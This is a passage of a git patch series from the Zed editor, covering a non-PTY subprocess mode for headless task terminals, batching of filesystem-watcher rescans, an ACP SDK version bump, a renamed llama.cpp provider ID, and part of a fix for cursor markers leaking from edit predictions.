+/// controlling terminal fail with `ENOTTY`, so when this is set terminals run
+/// their command as a plain subprocess with piped output instead of through a
+/// PTY. The normal editor leaves it unset to preserve the interactive PTY
+/// experience.
+#[derive(Clone, Copy, Default)]
+pub struct HeadlessTerminal(pub bool);
+
+impl gpui::Global for HeadlessTerminal {}
+
+impl HeadlessTerminal {
+    pub fn is_enabled(cx: &App) -> bool {
+        cx.try_global::<Self>().is_some_and(|headless| headless.0)
+    }
+}
+
 #[derive(Clone, Copy, Debug)]
 enum Scroll {
     Delta(i32),
@@ -939,6 +956,7 @@ impl TerminalBuilder {
         let terminal = Terminal {
             task: None,
             terminal_type: TerminalType::DisplayOnly,
+            subprocess: None,
             completion_tx: None,
             term,
             term_config: config,
@@ -1013,6 +1031,10 @@ impl TerminalBuilder {
     ) -> Task<Result<TerminalBuilder>> {
         let version = release_channel::AppVersion::global(cx);
         let background_executor = cx.background_executor().clone();
+        // Headless hosts (e.g. the eval CLI) have no controlling TTY, so PTY
+        // allocation / acquiring a controlling terminal fails with `ENOTTY`.
+        // When set, run the command as a plain subprocess instead.
+        let no_pty = HeadlessTerminal::is_enabled(cx);
         #[cfg(not(windows))]
         let child_signal_mask = match current_child_signal_mask()
             .context("failed to capture terminal child signal mask")
@@ -1096,26 +1118,6 @@ impl TerminalBuilder {
             // supported remoting into windows.
             let shell_kind = shell.shell_kind(cfg!(windows));
 
-            let alacritty_shell = shell_params.as_ref().map(|params| {
-                (
-                    params.program.clone(),
-                    params.args.clone().unwrap_or_default(),
-                )
-            });
-            let pty_options = pty_options(
-                alacritty_shell,
-                working_directory.clone(),
-                env.clone(),
-                // We pass in the foreground thread's signal mask to the child process via pty_options,
-                // so terminal construction can run on a background thread without breaking Ctrl-C and other signals
-                // otherwise the terminal would inherit the background executor's signal mask which blocks
-                // some terminal signals
-                #[cfg(not(windows))]
-                child_signal_mask,
-                #[cfg(windows)]
-                shell_kind.tty_escape_args(),
-            );
-
             let scrolling_history = if task.is_some() {
                 // Tasks like `cargo build --all` may produce a lot of output, ergo allow maximum scrolling.
                 // After the task finishes, we do not allow appending to that terminal, so small tasks output should not
@@ -1128,21 +1130,7 @@ impl TerminalBuilder {
             };
             let config = pty_term_config(scrolling_history, cursor_shape);
 
-            //Setup the pty...
-            let pty = match open_pty(&pty_options, TerminalBounds::default(), window_id) {
-                Ok(pty) => pty,
-                Err(error) => {
-                    bail!(TerminalError {
-                        directory: working_directory,
-                        program: shell_params.as_ref().map(|params| params.program.clone()),
-                        args: shell_params.as_ref().and_then(|params| params.args.clone()),
-                        title_override: terminal_title_override,
-                        source: error,
-                    });
-                }
-            };
-
-            //Spawn a task so the Alacritty EventLoop can communicate with us
+            //Spawn a task so the Alacritty EventLoop (or the subprocess reader) can communicate with us
             //TODO: Remove with a bounded sender which can be dispatched on &self
             let (events_tx, events_rx) = unbounded();
             //Set up the terminal...
@@ -1153,18 +1141,93 @@ impl TerminalBuilder {
                 alternate_scroll,
             );
 
-            let pty_info = PtyProcessInfo::new(ProcessIdGetter::from(&pty));
+            // When `no_pty` is set (headless hosts), run the task as a plain
+            // subprocess and pump its piped output into the same emulator the
+            // PTY path would feed.
+            let (terminal_type, subprocess) = if no_pty {
+                let (program, args) = match &shell_params {
+                    Some(params) => (
+                        params.program.clone(),
+                        params.args.clone().unwrap_or_default(),
+                    ),
+                    None => (util::shell::get_system_shell(), Vec::new()),
+                };
+                let subprocess = match spawn_task_subprocess(
+                    program,
+                    args,
+                    env.clone(),
+                    working_directory.clone(),
+                    term.clone(),
+                    events_tx,
+                    &background_executor,
+                ) {
+                    Ok(subprocess) => subprocess,
+                    Err(error) => {
+                        bail!(TerminalError {
+                            directory: working_directory,
+                            program: shell_params.as_ref().map(|params| params.program.clone()),
+                            args: shell_params.as_ref().and_then(|params| params.args.clone()),
+                            title_override: terminal_title_override,
+                            source: std::io::Error::other(format!("{error:#}")),
+                        });
+                    }
+                };
+                (TerminalType::DisplayOnly, Some(subprocess))
+            } else {
+                let alacritty_shell = shell_params.as_ref().map(|params| {
+                    (
+                        params.program.clone(),
+                        params.args.clone().unwrap_or_default(),
+                    )
+                });
+                let pty_options = pty_options(
+                    alacritty_shell,
+                    working_directory.clone(),
+                    env.clone(),
+                    // We pass in the foreground thread's signal mask to the child process via pty_options,
+                    // so terminal construction can run on a background thread without breaking Ctrl-C and other signals
+                    // otherwise the terminal would inherit the background executor's signal mask which blocks
+                    // some terminal signals
+                    #[cfg(not(windows))]
+                    child_signal_mask,
+                    #[cfg(windows)]
+                    shell_kind.tty_escape_args(),
+                );
+
+                //Setup the pty...
+                let pty = match open_pty(&pty_options, TerminalBounds::default(), window_id) {
+                    Ok(pty) => pty,
+                    Err(error) => {
+                        bail!(TerminalError {
+                            directory: working_directory,
+                            program: shell_params.as_ref().map(|params| params.program.clone()),
+                            args: shell_params.as_ref().and_then(|params| params.args.clone()),
+                            title_override: terminal_title_override,
+                            source: error,
+                        });
+                    }
+                };
 
-            //And connect them together
-            let pty_tx = spawn_event_loop(term.clone(), events_tx, pty, pty_options.drain_on_exit)?;
+                let pty_info = PtyProcessInfo::new(ProcessIdGetter::from(&pty));
+
+                //And connect them together
+                let pty_tx =
+                    spawn_event_loop(term.clone(), events_tx, pty, pty_options.drain_on_exit)?;
+
+                (
+                    TerminalType::Pty {
+                        pty_tx,
+                        info: Arc::new(pty_info),
+                    },
+                    None,
+                )
+            };
 
             let no_task = task.is_none();
             let terminal = Terminal {
                 task,
-                terminal_type: TerminalType::Pty {
-                    pty_tx,
-                    info: Arc::new(pty_info),
-                },
+                terminal_type,
+                subprocess,
                 completion_tx,
                 term,
                 term_config: config,
@@ -1337,6 +1400,9 @@ enum TerminalType {
 
 pub struct Terminal {
     terminal_type: TerminalType,
+    /// Set for non-PTY terminals (see [`HeadlessTerminal`]); owns the spawned
+    /// subprocess and the task pumping its output into the grid.
+    subprocess: Option<SubprocessHandle>,
     completion_tx: Option<Sender<Option<ExitStatus>>>,
     term: Arc<AlacrittyTermLock>,
     term_config: AlacrittyTermConfig,
@@ -1755,23 +1821,8 @@ impl Terminal {
     pub fn write_output(&mut self, bytes: &[u8], cx: &mut Context<Self>) {
         // Inject bytes directly into the terminal emulator and refresh the UI.
         // This bypasses the PTY/event loop for display-only terminals.
-        //
-        // We first convert LF to CRLF, to get the expected line wrapping in Alacritty.
-        // When output comes from piped commands (not a PTY) such as codex-acp, and that
-        // output only contains LF (\n) without a CR (\r) after it, such as the output
-        // of the `ls` command when running outside a PTY, Alacritty moves the cursor
-        // cursor down a line but does not move it back to the initial column. This makes
-        // the rendered output look ridiculous. To prevent this, we insert a CR (\r) before
-        // each LF that didn't already have one. (Alacritty doesn't have a setting for this.)
-        let mut converted = Vec::with_capacity(bytes.len());
-        let mut prev_byte = 0u8;
-        for &byte in bytes {
-            if byte == b'\n' && prev_byte != b'\r' {
-                converted.push(b'\r');
-            }
-            converted.push(byte);
-            prev_byte = byte;
-        }
+        let mut previous_byte_was_cr = false;
+        let converted = convert_lf_to_crlf(bytes, &mut previous_byte_was_cr);
 
         let mut term = self.term.lock();
         self.output_processor.advance(&mut *term, &converted);
@@ -2695,12 +2746,20 @@ impl Terminal {
         if let Some(task) = self.task()
             && task.status == TaskStatus::Running
         {
-            if let TerminalType::Pty { info, .. } = &self.terminal_type {
-                // First kill the foreground process group (the command running in the shell)
-                info.kill_current_process();
-                // Then kill the shell itself so that the terminal exits properly
-                // and wait_for_completed_task can complete
-                info.kill_child_process();
+            match &self.terminal_type {
+                TerminalType::Pty { info, .. } => {
+                    // First kill the foreground process group (the command running in the shell)
+                    info.kill_current_process();
+                    // Then kill the shell itself so that the terminal exits properly
+                    // and wait_for_completed_task can complete
+                    info.kill_child_process();
+                }
+                TerminalType::DisplayOnly => {
+                    // Non-PTY task terminals own their subprocess directly.
+                    if let Some(subprocess) = &self.subprocess {
+                        subprocess.kill();
+                    }
+                }
             }
         }
     }
@@ -2875,8 +2934,147 @@ fn task_summary(task: &TaskState, exit_status: Option<ExitStatus>) -> (bool, Str
     (success, task_line, command_line)
 }
 
+/// Converts bare LFs into CRLFs so output captured from a pipe (rather than a
+/// PTY) wraps correctly in Alacritty. A PTY's line discipline performs this
+/// `ONLCR` translation for us; piped output (e.g. `ls` run outside a PTY) only
+/// emits `\n`, which moves Alacritty's cursor down without returning it to
+/// column zero and makes the rendered output look misaligned. Alacritty has no
+/// setting for this, so we insert a `\r` before each `\n` that lacks one.
+fn convert_lf_to_crlf(bytes: &[u8], previous_byte_was_cr: &mut bool) -> Vec<u8> {
+    let mut converted = Vec::with_capacity(bytes.len());
+    for &byte in bytes {
+        if byte == b'\n' && !*previous_byte_was_cr {
+            converted.push(b'\r');
+        }
+        converted.push(byte);
+        *previous_byte_was_cr = byte == b'\r';
+    }
+    converted
+}
+
+/// Owns a non-PTY task subprocess and the background task pumping its output
+/// into the terminal emulator. Used by headless hosts (e.g. the eval CLI) where
+/// PTY allocation fails with `ENOTTY`. Dropping this kills the child.
+struct SubprocessHandle {
+    child: Arc<parking_lot::Mutex<Option<util::process::Child>>>,
+    _reader: Task<()>,
+}
+
+impl SubprocessHandle {
+    fn kill(&self) {
+        if let Some(child) = self.child.lock().as_mut() {
+            child.kill().log_err();
+        }
+    }
+}
+
+/// Spawns `program`/`args` as a plain subprocess with piped stdout/stderr and
+/// drives its output into `term`, mirroring what the Alacritty event loop does
+/// for a PTY but without one. Used when [`HeadlessTerminal`] is enabled.
+fn spawn_task_subprocess(
+    program: String,
+    args: Vec<String>,
+    env: HashMap<String, String>,
+    working_directory: Option<PathBuf>,
+    term: Arc<AlacrittyTermLock>,
+    events_tx: futures::channel::mpsc::UnboundedSender<PtyEvent>,
+    executor: &BackgroundExecutor,
+) -> Result<SubprocessHandle> {
+    use futures::io::AsyncReadExt as _;
+    use std::process::Stdio;
+
+    let mut command = util::command::new_std_command(&program);
+    command.args(&args);
+    command.envs(&env);
+    if let Some(directory) = &working_directory {
+        command.current_dir(directory);
+    }
+
+    let mut child =
+        util::process::Child::spawn(command, Stdio::null(), Stdio::piped(), Stdio::piped())?;
+    let stdout = child.stdout.take();
+    let stderr = child.stderr.take();
+    let child = Arc::new(parking_lot::Mutex::new(Some(child)));
+
+    let reader = executor.spawn({
+        let child = child.clone();
+        let executor = executor.clone();
+        async move {
+            // stdout and stderr are pumped concurrently, each through its own
+            // parser; the shared term mutex serializes grid mutation.
+            type BoxedReader = Box<dyn futures::io::AsyncRead + Unpin + Send>;
+            let pump = |reader: Option<BoxedReader>| {
+                let term = term.clone();
+                let events_tx = events_tx.clone();
+                async move {
+                    let Some(mut reader) = reader else { return };
+                    let mut processor = Processor::<StdSyncHandler>::new();
+                    let mut buffer = [0u8; 8192];
+                    let mut previous_byte_was_cr = false;
+                    loop {
+                        match reader.read(&mut buffer).await {
+                            Ok(0) => return,
+                            Err(error) => {
+                                log::warn!("failed to read subprocess output: {error}");
+                                return;
+                            }
+                            Ok(count) => {
+                                let converted =
+                                    convert_lf_to_crlf(&buffer[..count], &mut previous_byte_was_cr);
+                                {
+                                    let mut term = term.lock();
+                                    processor.advance(&mut *term, &converted);
+                                }
+                                events_tx
+                                    .unbounded_send(PtyEvent::Event(TerminalBackendEvent::Wakeup))
+                                    .ok();
+                            }
+                        }
+                    }
+                }
+            };
+            let stdout = stdout.map(|reader| Box::new(reader) as BoxedReader);
+            let stderr = stderr.map(|reader| Box::new(reader) as BoxedReader);
+            futures::future::join(pump(stdout), pump(stderr)).await;
+
+            // Both pipes are closed, so the child has exited or is about to.
+            // Poll for its status without holding the lock across an await.
+            let status = loop {
+                let status = match child.lock().as_mut() {
+                    Some(child) => match child.try_status() {
+                        Ok(status) => status,
+                        Err(error) => {
+                            log::warn!("failed to get subprocess exit status: {error}");
+                            break None;
+                        }
+                    },
+                    None => Some(ExitStatus::default()),
+                };
+                match status {
+                    Some(status) => break Some(status),
+                    None => executor.timer(Duration::from_millis(20)).await,
+                }
+            };
+            child.lock().take();
+            let event = match status {
+                Some(status) => TerminalBackendEvent::ChildExit(status),
+                None => TerminalBackendEvent::Exit,
+            };
+            events_tx.unbounded_send(PtyEvent::Event(event)).ok();
+        }
+    });
+
+    Ok(SubprocessHandle {
+        child,
+        _reader: reader,
+    })
+}
+
 impl Drop for Terminal {
     fn drop(&mut self) {
+        if let Some(subprocess) = self.subprocess.take() {
+            subprocess.kill();
+        }
         if let TerminalType::Pty { pty_tx, info } =
             std::mem::replace(&mut self.terminal_type, TerminalType::DisplayOnly)
         {
@@ -3251,6 +3449,103 @@ mod tests {
         (terminal, completion_rx)
     }
 
+    /// Builds a non-PTY (`no_pty`) task terminal, exercising the path used by
+    /// headless hosts (e.g. the eval CLI) where PTY allocation fails with
+    /// `ENOTTY`. The command runs as a plain subprocess whose piped output is
+    /// pumped into the emulator.
+    #[cfg(not(target_os = "windows"))]
+    async fn build_test_subprocess_terminal(
+        cx: &mut TestAppContext,
+        program: String,
+        args: Vec<String>,
+    ) -> (Entity<Terminal>, Receiver<Option<ExitStatus>>) {
+        let (completion_tx, completion_rx) = async_channel::unbounded();
+        let task_state = TaskState {
+            status: TaskStatus::Running,
+            completion_rx: completion_rx.clone(),
+            spawned_task: SpawnInTerminal {
+                command: Some(program.clone()),
+                args: args.clone(),
+                ..Default::default()
+            },
+        };
+        let builder = cx
+            .update(|cx| {
+                cx.set_global(HeadlessTerminal(true));
+                TerminalBuilder::new(
+                    None,
+                    Some(task_state),
+                    task::Shell::WithArguments {
+                        program,
+                        args,
+                        title_override: None,
+                    },
+                    HashMap::default(),
+                    SettingsCursorShape::default(),
+                    AlternateScroll::On,
+                    None,
+                    vec![],
+                    0,
+                    false,
+                    0,
+                    Some(completion_tx),
+                    cx,
+                    vec![],
+                    PathStyle::local(),
+                )
+            })
+            .await
+            .unwrap();
+        let terminal = cx.new(|cx| builder.subscribe(cx));
+        (terminal, completion_rx)
+    }
+
+    #[test]
+    fn test_convert_lf_to_crlf_preserves_split_crlf() {
+        let mut previous_byte_was_cr = false;
+        assert_eq!(
+            convert_lf_to_crlf(b"one\n", &mut previous_byte_was_cr),
+            b"one\r\n"
+        );
+        assert!(!previous_byte_was_cr);
+
+        let mut previous_byte_was_cr = false;
+        assert_eq!(
+            convert_lf_to_crlf(b"two\r", &mut previous_byte_was_cr),
+            b"two\r"
+        );
+        assert!(previous_byte_was_cr);
+        assert_eq!(
+            convert_lf_to_crlf(b"\nthree", &mut previous_byte_was_cr),
+            b"\nthree"
+        );
+        assert!(!previous_byte_was_cr);
+    }
+
+    /// Regression test for the agent terminal failing with `Not a tty (os error
+    /// 25)` in headless/eval sandboxes: a `no_pty` task terminal must run
+    /// without a PTY, capture stdout, and report its exit status.
+    #[cfg(not(target_os = "windows"))]
+    #[gpui::test]
+    async fn test_no_pty_task_terminal_captures_output(cx: &mut TestAppContext) {
+        cx.executor().allow_parking();
+
+        let (program, args) = ShellBuilder::new(&Shell::System, false)
+            .non_interactive()
+            .build(Some("echo hello-from-subprocess".to_owned()), &[]);
+        let (terminal, completion_rx) = build_test_subprocess_terminal(cx, program, args).await;
+
+        assert!(
+            !terminal.update(cx, |term, _| term.is_pty()),
+            "no_pty terminal should not be PTY-backed"
+        );
+        assert_eq!(
+            completion_rx.recv().await.unwrap(),
+            Some(ExitStatus::default())
+        );
+        assert_content_eventually(&terminal, "hello-from-subprocess", cx).await;
+    }
+
     fn init_ctrl_click_hyperlink_test(cx: &mut TestAppContext, output: &[u8]) -> Entity<Terminal> {
         cx.update(|cx| {
             let settings_store = settings::SettingsStore::test(cx);
diff --git a/crates/util/src/shell_builder.rs b/crates/util/src/shell_builder.rs
index dd2497a29efb90..57ce0319a403f7 100644
--- a/crates/util/src/shell_builder.rs
+++ b/crates/util/src/shell_builder.rs
@@ -302,6 +302,23 @@ mod test {
         );
     }
 
+    #[test]
+    fn non_interactive_omits_interactive_flag() {
+        // Headless hosts (e.g. the eval CLI) build the agent's shell command
+        // non-interactively so it works without a controlling TTY.
+        let shell = Shell::Program("sh".to_owned());
+        let shell_builder = ShellBuilder::new(&shell, false).non_interactive();
+
+        let (program, args) = shell_builder.build(Some("echo hello".into()), &[]);
+
+        assert_eq!(program, "sh");
+        assert_eq!(args, vec!["-c", "echo hello"]);
+        assert!(
+            !args.iter().any(|arg| arg == "-i"),
+            "non-interactive shell command must not include `-i`"
+        );
+    }
+
     #[test]
     fn does_not_quote_sole_command_only() {
         let shell = Shell::Program("fish".to_owned());

From f8e1ab7f3c92ef94ffd563c62cdcb867fb9d55a3 Mon Sep 17 00:00:00 2001
From: Anthony Eid <56899983+Anthony-Eid@users.noreply.github.com>
Date: Mon, 29 Jun 2026 12:16:21 -0400
Subject: [PATCH 165/772] fs: Coalesce queued rescans after watcher overflow
 (#60098)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

After a filesystem watcher loses sync (e.g. a `git pull` that changes
many files overflows the backend's event queue), the backend can enqueue
many `Rescan` markers in quick succession. The dispatch thread processed
each one separately, and each rescan invokes every registration for that
watcher mode, so a single burst could kick off several full worktree
scans at once — leading to sustained CPU and an unresponsive project
panel.

This adds `dispatch_batch`, which handles the first event and drains the
events already waiting in the channel, forwarding at most one `Rescan`
per `WatcherMode` per drained batch while letting ordinary filesystem
events and errors pass through untouched. A later watcher overflow can
still trigger another recovery scan.

Reported with a reproduction and patch in #59610.

Release Notes:

- Batch file watcher rescan events to improve Zed's responsiveness under
heavy FS usage
---
 crates/fs/src/fs_watcher.rs | 59 +++++++++++++++++++++++++++++++++++--
 1 file changed, 57 insertions(+), 2 deletions(-)

diff --git a/crates/fs/src/fs_watcher.rs b/crates/fs/src/fs_watcher.rs
index 80393e7d784c57..4fc663809547de 100644
--- a/crates/fs/src/fs_watcher.rs
+++ b/crates/fs/src/fs_watcher.rs
@@ -931,6 +931,34 @@ impl GlobalWatcher {
         }
     }
 
+    fn dispatch_batch(
+        &self,
+        first: DispatchEvent,
+        event_rx: &async_channel::Receiver<DispatchEvent>,
+    ) {
+        // A single backend overflow can enqueue many rescan markers. One rescan
+        // per mode covers the entire drained batch; ordinary events still run.
+        let mut native_rescan_dispatched = false;
+        let mut poll_rescan_dispatched = false;
+
+        for (mode, event) in
+            std::iter::once(first).chain(std::iter::from_fn(|| event_rx.try_recv().ok()))
+        {
+            let rescan_dispatched = match mode {
+                WatcherMode::Native => &mut native_rescan_dispatched,
+                WatcherMode::Poll => &mut poll_rescan_dispatched,
+            };
+            if event.as_ref().is_ok_and(notify::Event::need_rescan) {
+                if *rescan_dispatched {
+                    continue;
+                }
+                *rescan_dispatched = true;
+            }
+
+            self.dispatch(mode, event);
+        }
+    }
+
     fn start_native_watch_limit_cooldown(&self, path: &Path) {
         let mut state = self.state.lock();
         let now = Instant::now();
@@ -1078,8 +1106,8 @@ fn global_watcher() -> &'static GlobalWatcher {
         std::thread::Builder::new()
             .name("fs-watcher-dispatch".to_owned())
             .spawn(move || {
-                while let Ok((mode, event)) = event_rx.recv_blocking() {
-                    global_watcher().dispatch(mode, event);
+                while let Ok(first) = event_rx.recv_blocking() {
+                    global_watcher().dispatch_batch(first, &event_rx);
                 }
             })
             .expect("failed to spawn fs watcher dispatch thread");
@@ -1466,6 +1494,33 @@ mod tests {
         );
     }
 
+    #[test]
+    fn queued_rescans_are_coalesced_without_dropping_normal_events() {
+        let (watcher, fired) = recording_watcher();
+        let (event_tx, event_rx) = async_channel::unbounded();
+        let rescan = || notify::Event::new(EventKind::Other).set_flag(notify::event::Flag::Rescan);
+
+        event_tx
+            .try_send((WatcherMode::Native, Ok(rescan())))
+            .unwrap();
+        event_tx
+            .try_send((WatcherMode::Native, Ok(modify_event("/repo/a/file.txt"))))
+            .unwrap();
+        watcher.dispatch_batch((WatcherMode::Native, Ok(rescan())), &event_rx);
+
+        let mut got = fired.lock().clone();
+        got.sort();
+        assert_eq!(
+            got,
+            vec![
+                "/repo/a".to_owned(),
+                "/repo/a".to_owned(),
+                "/repo/a/nested".to_owned(),
+                "/repo/b".to_owned(),
+            ]
+        );
+    }
+
     #[test]
     #[cfg(target_os = "windows")]
     fn event_dispatches_when_reported_path_has_verbatim_prefix() {

From b04ae5ed8171d31539847271fd9af4b73447ed1e Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 29 Jun 2026 19:46:33 +0200
Subject: [PATCH 166/772] acp: Update ACP SDK to 1.0.1 (#60088)

Brings in a needed fix to make sure we are properly ignoring unknown
notifications

Release Notes:

- N/A
---
 Cargo.lock | 8 ++++----
 Cargo.toml | 2 +-
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index f5803b5baa63e8..caa07b2675796b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -321,9 +321,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol"
-version = "1.0.0"
+version = "1.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e981a7d0207a0e9eb67d0faafc04e8c6601dea572d67a3163798897c0024521d"
+checksum = "16302d16c7531355db16593d99c38c8297db0c4653aa7dd80c3556bb17f4cd8c"
 dependencies = [
  "agent-client-protocol-derive",
  "agent-client-protocol-schema",
@@ -343,9 +343,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-derive"
-version = "1.0.0"
+version = "1.0.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0d589c28cbe2978c76f8714cc304bc08355ee2f05d120806717725d9ffa12143"
+checksum = "88b37d552feb6981a0109febda6b71fc723678cd065974c2d76279c19c407095"
 dependencies = [
  "quote",
  "syn 2.0.117",
diff --git a/Cargo.toml b/Cargo.toml
index 4d36e276a578db..5fc6367814285d 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -506,7 +506,7 @@ accesskit = "0.24.0"
 accesskit_macos = "0.26.0"
 accesskit_unix = "0.21.0"
 accesskit_windows = "0.33.1"
-agent-client-protocol = { version = "=1.0.0", features = ["unstable"] }
+agent-client-protocol = { version = "=1.0.1", features = ["unstable"] }
 aho-corasick = "1.1"
 alacritty_terminal = { git = "https://github.com/zed-industries/alacritty", rev = "4c129667ce56611becdc82de6e28218c80e2e88f" }
 any_vec = "0.14"

From 3bb922014eccaf7b6814a38c4761939e0b68904d Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Mon, 29 Jun 2026 20:38:11 +0200
Subject: [PATCH 167/772] language_models: Rename llama.cpp provider ID
 (#60112)

Release Notes:

- N/A
---
 assets/settings/default.json                     |  2 +-
 crates/language_models/src/provider/llama_cpp.rs | 10 +++++-----
 crates/settings_content/src/language_model.rs    |  1 +
 docs/src/ai/use-a-local-model.md                 |  4 ++--
 4 files changed, 9 insertions(+), 8 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 059608ae046890..e6842ae4fa9c39 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -2427,7 +2427,7 @@
     "ollama": {
       "api_url": "http://localhost:11434",
     },
-    "llama_cpp": {
+    "llama.cpp": {
       "api_url": "http://localhost:8080",
     },
     "openai": {
diff --git a/crates/language_models/src/provider/llama_cpp.rs b/crates/language_models/src/provider/llama_cpp.rs
index 935ec74f9a467a..921a2ae63e530f 100644
--- a/crates/language_models/src/provider/llama_cpp.rs
+++ b/crates/language_models/src/provider/llama_cpp.rs
@@ -36,7 +36,7 @@ use crate::AllLanguageModelSettings;
 const LLAMA_CPP_DOWNLOAD_URL: &str = "https://llama.app";
 const LLAMA_CPP_MODELS_URL: &str = "https://huggingface.co/models?library=gguf&sort=trending";
 
-const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("llama_cpp");
+const PROVIDER_ID: LanguageModelProviderId = LanguageModelProviderId::new("llama.cpp");
 const PROVIDER_NAME: LanguageModelProviderName = LanguageModelProviderName::new("llama.cpp");
 
 const API_KEY_ENV_VAR_NAME: &str = "LLAMACPP_API_KEY";
@@ -448,7 +448,7 @@ fn display_name_for(id: &str) -> String {
 }
 
 fn telemetry_id_for(id: &str) -> String {
-    format!("llama_cpp/{}", display_name_for(id))
+    format!("{PROVIDER_ID}/{}", display_name_for(id))
 }
 
 impl LlamaCppLanguageModelProvider {
@@ -1656,13 +1656,13 @@ mod tests {
     fn telemetry_id_strips_local_model_paths() {
         assert_eq!(
             telemetry_id_for("/Users/alice/models/Qwen2.5-Coder-7B-Instruct-Q4_K_M.gguf"),
-            "llama_cpp/Qwen2.5-Coder-7B-Instruct-Q4_K_M"
+            "llama.cpp/Qwen2.5-Coder-7B-Instruct-Q4_K_M"
         );
         assert_eq!(
             telemetry_id_for(r"C:\Users\alice\models\Qwen2.5-Coder-7B-Instruct-Q4_K_M.gguf"),
-            "llama_cpp/Qwen2.5-Coder-7B-Instruct-Q4_K_M"
+            "llama.cpp/Qwen2.5-Coder-7B-Instruct-Q4_K_M"
         );
-        assert_eq!(telemetry_id_for("my-alias"), "llama_cpp/my-alias");
+        assert_eq!(telemetry_id_for("my-alias"), "llama.cpp/my-alias");
     }
 
     #[test]
diff --git a/crates/settings_content/src/language_model.rs b/crates/settings_content/src/language_model.rs
index ab11097728c1c1..e58f3dcc02b511 100644
--- a/crates/settings_content/src/language_model.rs
+++ b/crates/settings_content/src/language_model.rs
@@ -15,6 +15,7 @@ pub struct AllLanguageModelSettingsContent {
     pub bedrock: Option<AmazonBedrockSettingsContent>,
     pub deepseek: Option<DeepseekSettingsContent>,
     pub google: Option<GoogleSettingsContent>,
+    #[serde(rename = "llama.cpp")]
     pub llama_cpp: Option<LlamaCppSettingsContent>,
     pub lmstudio: Option<LmStudioSettingsContent>,
     pub mistral: Option<MistralSettingsContent>,
diff --git a/docs/src/ai/use-a-local-model.md b/docs/src/ai/use-a-local-model.md
index 89984d10f345c6..5ffc60172cc81b 100644
--- a/docs/src/ai/use-a-local-model.md
+++ b/docs/src/ai/use-a-local-model.md
@@ -39,7 +39,7 @@ Zed automatically discovers the served models with their context length and tool
 ```json [settings]
 {
   "language_models": {
-    "llama_cpp": {
+    "llama.cpp": {
       "api_url": "http://localhost:8080",
       "auto_discover": false,
       "available_models": [
@@ -63,7 +63,7 @@ Zed uses the context length the server reports (`/props`). Override it for all m
 ```json [settings]
 {
   "language_models": {
-    "llama_cpp": {
+    "llama.cpp": {
       "context_window": 8192
     }
   }

From 29faf94a0fd86029d515c4265c8a223661811379 Mon Sep 17 00:00:00 2001
From: Ben Kunkle <ben@zed.dev>
Date: Mon, 29 Jun 2026 15:00:22 -0400
Subject: [PATCH 168/772] ep: Fix cursor marker leak due to edit splitting in
 V4 API (#60110)

# Objective

Closes EP-202

Prevent V4 edit predictions from leaking `<|user_cursor|>` markers into
users' buffers.

## Solution

- Strip cursor marker text from emitted prediction edits, including when
`text_diff` splits the marker across edit fragments.
- Preserve literal marker-like text that already exists in the buffer.

## Testing

- `cargo test -p edit_prediction prediction_edits_for_single_file_diff
-- --nocapture`
- `cargo test -p edit_prediction --lib`
- `cargo fmt --check`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/edit_prediction/src/udiff.rs | 120 +++++++++++++++++++++++++---
 1 file changed, 111 insertions(+), 9 deletions(-)

diff --git a/crates/edit_prediction/src/udiff.rs b/crates/edit_prediction/src/udiff.rs
index 8dfefa391e23b4..8f095d8bc70489 100644
--- a/crates/edit_prediction/src/udiff.rs
+++ b/crates/edit_prediction/src/udiff.rs
@@ -5,7 +5,8 @@ use collections::{HashMap, hash_map::Entry};
 use edit_prediction_types::PredictedCursorPosition;
 use gpui::{AsyncApp, Entity};
 use language::{
-    Anchor, Buffer, BufferSnapshot, OffsetRangeExt as _, TextBufferSnapshot, text_diff,
+    Anchor, Buffer, BufferSnapshot, OffsetRangeExt as _, TextBufferSnapshot, ToOffset as _,
+    text_diff,
 };
 use postage::stream::Stream as _;
 use project::Project;
@@ -80,24 +81,86 @@ pub async fn prediction_edits_for_single_file_diff(
                 }
 
                 let (_, _, snapshot) = target_file.as_ref().context("missing target file")?;
+                let mut pending_marker: Option<(Range<Anchor>, String, usize)> = None;
                 for (range, text) in resolve_hunk_edits_in_buffer(
                     hunk,
                     snapshot,
                     &[Anchor::min_max_range_for_buffer(snapshot.remote_id())],
                     status,
                 )? {
-                    if let Some(marker_offset) = text.find(INLINE_CURSOR_MARKER) {
+                    let mut remaining = text.as_ref();
+                    let mut output = String::new();
+
+                    if let Some((pending_range, mut pending_text, pending_offset)) =
+                        pending_marker.take()
+                    {
+                        let matched_len = INLINE_CURSOR_MARKER[pending_text.len()..]
+                            .bytes()
+                            .zip(remaining.bytes())
+                            .take_while(|(left, right)| left == right)
+                            .count();
+
+                        if matched_len == 0 {
+                            edits.push((pending_range, pending_text.into()));
+                        } else {
+                            let marker_len = pending_text.len() + matched_len;
+                            if marker_len == INLINE_CURSOR_MARKER.len() {
+                                cursor_position.get_or_insert_with(|| {
+                                    PredictedCursorPosition::new(
+                                        pending_range.start,
+                                        pending_offset,
+                                    )
+                                });
+                                remaining = &remaining[matched_len..];
+                            } else if matched_len == remaining.len() {
+                                pending_text.push_str(
+                                    &INLINE_CURSOR_MARKER[pending_text.len()..marker_len],
+                                );
+                                pending_marker =
+                                    Some((pending_range, pending_text, pending_offset));
+                                continue;
